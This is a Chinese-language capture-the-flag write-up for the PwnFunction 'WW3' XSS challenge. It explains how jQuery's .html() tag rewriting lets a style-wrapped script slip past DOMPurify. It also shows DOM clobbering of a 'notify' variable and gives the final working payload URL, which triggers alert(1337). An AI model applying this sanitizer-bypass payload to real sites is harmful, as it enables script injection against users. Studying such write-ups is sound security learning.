目录
靶场网址: https://xss.pwnfunction.com/challenges/ww3/
分析代码:
Jquery.html()解析原理:
DOM-clobbering
JS作用域&作用域链
编辑
靶场网址: https://xss.pwnfunction.com/challenges/ww3/
分析代码:
<div>
<h4>Meme Code</h4>
<textarea class="form-control" id="meme-code" rows="4"></textarea>
<div id="notify"></div>
</div>
<script>
/* Utils */
const escape = (dirty) => unescape(dirty).replace(/[<>'"=]/g, '');
const memeTemplate = (img, text) => {
return (`<style>@import url('https://fonts.googleapis.com/css?family=Oswald:700&display=swap');`+
`.meme-card{margin:0 auto;width:300px}.meme-card>img{width:300px}`+
`.meme-card>h1{text-align:center;color:#fff;background:black;margin-top:-5px;`+
`position:relative;font-family:Oswald,sans-serif;font-weight:700}</style>`+
`<div class="meme-card"><img src="${img}"><h1>${text}</h1></div>`)
}
const memeGen = (that, notify) => {
if (text && img) {
template = memeTemplate(img, text)
if (notify) {
html = (`<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`)
}
setTimeout(_ => {
$('#status').remove()
notify ? ($('#notify').html(html)) : ''
$('#meme-code').text(template)
}, 1000)
}
}
</script>
<script>
/* Main */
let notify = false;
let text = new URL(location).searchParams.get('text')
let img = new URL(location).searchParams.get('img')
if (text && img) {
document.write(
`<div class="alert alert-primary" role="alert" id="status">`+
`<img class="circle" src="${escape(img)}" onload="memeGen(this, notify)">`+
`Creating meme... (${DOMPurify.sanitize(text)})</div>`
)
} else {
$('#meme-code').text(memeTemplate('https://i.imgur.com/PdbDexI.jpg', 'When you get that WW3 draft letter'))
}
</script>
可控的输入的点有两个text,img
let text = new URL(location).searchParams.get('text')
let img = new URL(location).searchParams.get('img')
但是 img作为img标签的src属性被写入,且被过滤了关键符号。
text
作为文本被渲染,渲染前都经过一次DOMPurify.sanitize处理
//part1
document.write(
...
Creating meme... (${DOMPurify.sanitize(text)})
)//part2
html = (`<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`)notify ? ($('#notify').html(html)) : ''
Jquery.html()解析原理:
乍一看经过DOMPurify后的这些交互点都很安全,但是使用html()解析会存在标签逃逸问题。
两种解析html的方式:jquery.html&innerhtml。innerHTML
是原生js的写法,Jqury.html()
也是调用原生的innerHTML方法,但是加了自己的解析规则(后文介绍)。
关于两种方式:Jquery.html()和innerHTMl的区别我们用示例来看。
对于innerHTML:
模拟浏览器自动补全标签,不处理非法标签。同时,
<style>
标签中不允许存在子标签(style标签最初的设计理念就不能用来放子标签),如果存在会被当作text解析。
因此<style><style/><script>alert(1337)//
会被渲染如下
<style>
<style/><script>alert(1337)//
</style>
对于Jqury.html():
最终对标签的处理是在
htmlPrefilter()
中实现:jquery-src,其后再进行原生innerHTML的调用来加载到页面。他会对不规范的标签进行修复。
rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^/>x20trnf]*)[^>]*)/>/gi
jQuery.extend( {
htmlPrefilter: function( html ) {
return html.replace( rxhtmlTag, "<$1></$2>" );
}
...
})
tmp.innerHTML = wrap[ 1 ] + jQuery.htmlPrefilter( elem ) + wrap[ 2 ];
这个正则表达式在匹配<*/>
之后会重新生成一对标签(区别于直接调用innerHTML),例如:匹配到<div/>之后,他会修复这个标签,变为:<div></div>
所以我们传入的语句<style><style/><script>alert(1337)//
则会被解析成如下形式,成功逃逸<script>
标签。
<style>
<style>
</style>
<script>alert(1337)//
至于这里最后面为何要加两个//:
因为innerHtml会自动补全我们的不规范的标签,这里的style标签少一个,所以就会补全为:<style> <style></style><script>alert(1337)//</style>,而我们的//刚好酒吧最后的style标签注释掉了。
而我们知道DOMPurify的工作机制是将传入的payload分配给元素的innerHtml属性,让浏览器解释它(但不执行),然后对潜在的XSS进行清理。由于DOMPurify在对其进行innerHtml处理时,我们传入的payload是传入到style这个标签里面了,script标签被当作style标签的text处理了,所以DOMPurify不会进行清洗(因为认为这是无害的payload),但在其后进入html()时,这个无害payload就能逃逸出来一个有害的script
标签从而xss。
DOM-clobbering
而要想执行我们的payload,只有在notify不为false的时候才能顺利进入html()方法
let notify = false;
document.write(`<img class="circle" src="${escape(img)}" onload="memeGen(this, notify)">`)
const memeGen = (that, notify) => {
if (notify) {
html = (`${DOMPurify.sanitize(text)}`)
}
...
$('#notify').html(html)
}
所以我们需要用DOM破坏来让notify变为true
尝试用DOM-clobbering创造一个id为notify
的变量,但是这种方式不允许覆盖已经存在的变量。
不过我们依然可以借助标签的name属性值,为document对象创造一个变量document.notify
JS作用域&作用域链
js的作用域就是会先去判断当前的scope是否有局部变量
notify
,若不存在向上查找window.document.notify
,仍不存在继续向上到全局执行环境即window.notify
为止。
所以我们用DOM破坏让name="notify",当它在局部找不到notify时,就会向上查找,最终找到我们覆盖的notify
而我们想要进入html()方法中,还需满足text&&mg这个条件
在当前函数内找不到text和img,onload 的作用域也找不到,就会往上去 script下面找,而多个 script 属于同一个作用域,在script中有text和img,于是就找到了。
而我们想要img为真,必须先执行text中的内容,因为text中有让notidy变为true的代码:DOM破坏将notify覆盖掉,它img中的onload变为真。这样才能满足text&&mg这个条件
<img name=notify><style><style/><script>alert()//
那我们这里就要考虑代码执行顺序的问题了,如果先执行的是img,那我们的payload就不可能成功,原因刚刚讲过了。
而恰好img加载图片是异步加载,所以我们的text中的代码先执行, 然后才会加载图片,然后才会触发onload,而notify为真,就走到html()这个方法中了,就会执行我们的payload。
最终传参:
img=https://i.imgur.com/PdbDexI.jpg&text=<img name=notify><style><style/><script>alert(1337)//
代码执行成功!